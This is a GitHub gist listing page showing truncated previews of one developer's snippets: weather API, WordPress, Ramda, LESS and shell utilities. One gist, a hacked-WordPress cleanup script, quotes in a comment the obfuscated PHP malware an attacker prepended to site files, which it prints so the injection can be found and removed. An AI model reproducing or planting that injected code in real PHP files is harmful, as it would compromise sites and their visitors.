Skip to content

Instantly share code, notes, and snippets.

View owise1's full-sized avatar
🔮
...

Oliver Wise owise1

🔮
...
View GitHub Profile
const AmbientWeatherApi = require('ambient-weather-api')
// helper function
function getName (device) {
return device.info.name
}
const apiKey = process.env.AMBIENT_WEATHER_API_KEY || 'Put your AW apiKey here'
const api = new AmbientWeatherApi({
apiKey,
'use strict';
function sayHello() {
if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1) {
var args = ['\n %c Made with ♥ by Dogstudio %c %c %c http://www.dogstudio.be/ %c %c🐶 \n\n', 'color: #fff; background: #b0976d; padding:5px 0;', 'background: #494949; padding:5px 0;', 'background: #494949; padding:5px 0;', 'color: #fff; background: #1c1c1c; padding:5px 0;', 'background: #fff; padding:5px 0;', 'color: #b0976d; background: #fff; padding:5px 0;'];
window.console.log.apply(console, args);
} else if (window.console) {
window.console.log('Made with love ♥ Dogstudio - http://www.dogstudio.be/ 🐶');
}
@owise1
owise1 / gist:3950608a75aad9a5591d
Created May 26, 2015 23:01
wordpress functions
<?php
/**
* Useful Wordpress Functions
*/
function first_img($id) {
$files = get_children('post_parent='.$id.'&post_type=attachment&post_mime_type=image');
if($files) :
$keys = array_reverse(array_keys($files));
$j=0;

Keybase proof

I hereby claim:

  • I am owise1 on github.
  • I am owise1 (https://keybase.io/owise1) on keybase.
  • I have a public key whose fingerprint is DDDF B7C7 A0B1 9A44 FA04 1AF5 47F1 31C5 A950 D51C

To claim this, I am signing this object:

@owise1
owise1 / owise1-functions.js
Last active April 25, 2017 18:12
owise1-functions.js
// depends on ramda.js
var owise1 = {
// takes: object
// returns: array containing the keys that are truthy
trueKeys : R.compose(R.keys, R.pickBy(function(v,k){ return v })),
// takes: two arrays
// returns: bool
doArraysIntersect : R.curry(function(firstList, secondList){
return R.reduce(function(prev, curr){
@owise1
owise1 / big-files.sh
Last active August 29, 2015 14:08
Show Big Files
#!/bin/bash
# -s - look for smaller files
size=100000
while getopts s ARG; do
case "$ARG" in
s) shift
size=10000;;
@owise1
owise1 / wordpress-hack-cleanup.php
Created October 2, 2014 19:14
Hacked Wordpress Cleanup Script
<?
/**
* A script to cleanup a hacked Wordpress site.
*
* The hacker prepended the following to most/all of the .php files:
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782
@owise1
owise1 / owise1-mixins.less
Last active August 29, 2015 14:06
General Less Mixin
a{
cursor: pointer;
}
.rel{
position: relative;
}
.b100(@width: 100%){
display: block;
width: @width;
@owise1
owise1 / gist:6ef8c2837e1a5a79fda4
Created September 12, 2014 23:27
Super Basic PHP XML Parser
/**
* Sometimes you don't want a giant library to deal with simple XML
*
* @param $tag - the XML tag you want the contents of
* - nested elements can be fetched using '>'. ex: 'Location>Address'
* @param $xmlStr - the XML
*/
function xmlGetItem($tag, $xmlStr){
$xmlStr = str_replace("\n", '', $xmlStr);
if(strstr($tag, '>')){